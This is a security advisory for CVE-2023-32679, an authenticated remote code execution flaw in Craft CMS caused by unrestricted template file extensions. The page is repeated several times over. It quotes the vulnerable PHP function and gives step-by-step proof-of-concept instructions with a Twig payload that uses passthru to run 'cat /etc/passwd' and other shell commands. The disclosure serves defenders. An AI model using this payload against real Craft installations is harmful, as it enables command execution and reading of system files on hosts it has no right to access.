CVE-2023-32679

Craft CMS is an open source content management system. In affected versions of Craft CMS an unrestricted file extension may lead to Remote Code Execution. If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates. When attacker with admin privileges on a DEV or an improperly configured STG or PROD environment, they can exploit this vulnerability to remote code execution. Code execution may grant the attacker access to the host operating system. This issue has been addressed in version 4.4.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Craft CMS is an open source content management system. In affected versions of Craft CMS an unrestricted file extension may lead to Remote Code Execution. If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates. When attacker with admin privileges on a DEV or an improperly configured STG or PROD environment, they can exploit this vulnerability to remote code execution. Code execution may grant the attacker access to the host operating system. This issue has been addressed in version 4.4.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

Unrestricted file extension lead to a potential Remote Code Execution (Authenticated, ALLOW_ADMIN_CHANGES=true)

Details

Vulnerability Cause :

If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates (even if they are not extensions set in defaultTemplateExtensions = ['html', 'twig'])

    /**
     * Searches for a template files, and returns the first match if there is one.
     *
     * @param string $basePath The base path to be looking in.
     * @param string $name The name of the template to be looking for.
     * @param bool $publicOnly Whether to only look for public templates (template paths that don’t start with the private template trigger).
     * @return string|null The matching file path, or `null`.
     */
    private function _resolveTemplate(string $basePath, string $name, bool $publicOnly): ?string
    {
        // Normalize the path and name
        $basePath = FileHelper::normalizePath($basePath);
        $name = trim(FileHelper::normalizePath($name), '/');

        // $name could be an empty string (e.g. to load the homepage template)
        if ($name !== '') {
            if ($publicOnly && preg_match(sprintf('/(^|\/)%s/', preg_quote($this->_privateTemplateTrigger, '/')), $name)) {
                return null;
            }

            // Maybe $name is already the full file path
            $testPath = $basePath . DIRECTORY_SEPARATOR . $name;

            if (is_file($testPath)) {
                return $testPath;
            }

            foreach ($this->_defaultTemplateExtensions as $extension) {
                $testPath = $basePath . DIRECTORY_SEPARATOR . $name . '.' . $extension;

                if (is_file($testPath)) {
                    return $testPath;
                }
            }
        }

        foreach ($this->_indexTemplateFilenames as $filename) {
            foreach ($this->_defaultTemplateExtensions as $extension) {
                $testPath = $basePath . ($name !== '' ? DIRECTORY_SEPARATOR . $name : '') . DIRECTORY_SEPARATOR . $filename . '.' . $extension;

                if (is_file($testPath)) {
                    return $testPath;
                }
            }
        }

        return null;
    }

When attacker with admin privileges on the DEV or Misconfigured STG, PROD, they can exploit this vulnerability to remote code execution (ALLOW_ADMIN_CHANGES=true)

PoC

Step 1) Create a new filesystem. Base Path: /var/www/html/templates

Step 2) Create a new asset volume. Asset Filesystem: template

Step 3) Upload poc file( .txt , .js , .json , etc ) with twig template rce payload

{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}

Step 4) Create a new global set with template layout. The template filename is poc.js

Step 5) When access global menu or /admin/global/test, poc.js is rendered as a template file and RCE confirmed

Step 6) RCE can be confirmed on other menus(Entries, Categories) where the template file is loaded.…

Craft CMS is an open source content management system. In affected versions of Craft CMS an unrestricted file extension may lead to Remote Code Execution. If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates. When attacker with admin privileges on a DEV or an improperly configured STG or PROD environment, they can exploit this vulnerability to remote code execution. Code execution may grant the attacker access to the host operating system. This issue has been addressed in version 4.4.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Craft CMS is an open source content management system. In affected versions of Craft CMS an unrestricted file extension may lead to Remote Code Execution. If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates. When attacker with admin privileges on a DEV or an improperly configured STG or PROD environment, they can exploit this vulnerability to remote code execution. Code execution may grant the attacker access to the host operating system. This issue has been addressed in version 4.4.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

Unrestricted file extension lead to a potential Remote Code Execution (Authenticated, ALLOW_ADMIN_CHANGES=true)

Details

Vulnerability Cause :

If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates (even if they are not extensions set in defaultTemplateExtensions = ['html', 'twig'])

    /**
     * Searches for a template files, and returns the first match if there is one.
     *
     * @param string $basePath The base path to be looking in.
     * @param string $name The name of the template to be looking for.
     * @param bool $publicOnly Whether to only look for public templates (template paths that don’t start with the private template trigger).
     * @return string|null The matching file path, or `null`.
     */
    private function _resolveTemplate(string $basePath, string $name, bool $publicOnly): ?string
    {
        // Normalize the path and name
        $basePath = FileHelper::normalizePath($basePath);
        $name = trim(FileHelper::normalizePath($name), '/');

        // $name could be an empty string (e.g. to load the homepage template)
        if ($name !== '') {
            if ($publicOnly && preg_match(sprintf('/(^|\/)%s/', preg_quote($this->_privateTemplateTrigger, '/')), $name)) {
                return null;
            }

            // Maybe $name is already the full file path
            $testPath = $basePath . DIRECTORY_SEPARATOR . $name;

            if (is_file($testPath)) {
                return $testPath;
            }

            foreach ($this->_defaultTemplateExtensions as $extension) {
                $testPath = $basePath . DIRECTORY_SEPARATOR . $name . '.' . $extension;

                if (is_file($testPath)) {
                    return $testPath;
                }
            }
        }

        foreach ($this->_indexTemplateFilenames as $filename) {
            foreach ($this->_defaultTemplateExtensions as $extension) {
                $testPath = $basePath . ($name !== '' ? DIRECTORY_SEPARATOR . $name : '') . DIRECTORY_SEPARATOR . $filename . '.' . $extension;

                if (is_file($testPath)) {
                    return $testPath;
                }
            }
        }

        return null;
    }

When attacker with admin privileges on the DEV or Misconfigured STG, PROD, they can exploit this vulnerability to remote code execution (ALLOW_ADMIN_CHANGES=true)

PoC

Step 1) Create a new filesystem. Base Path: /var/www/html/templates

Step 2) Create a new asset volume. Asset Filesystem: template

Step 3) Upload poc file( .txt , .js , .json , etc ) with twig template rce payload

{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}

Step 4) Create a new global set with template layout. The template filename is poc.js

Step 5) When access global menu or /admin/global/test, poc.js is rendered as a template file and RCE confirmed

Step 6) RCE can be confirmed on other menus(Entries, Categories) where the template file is loaded.…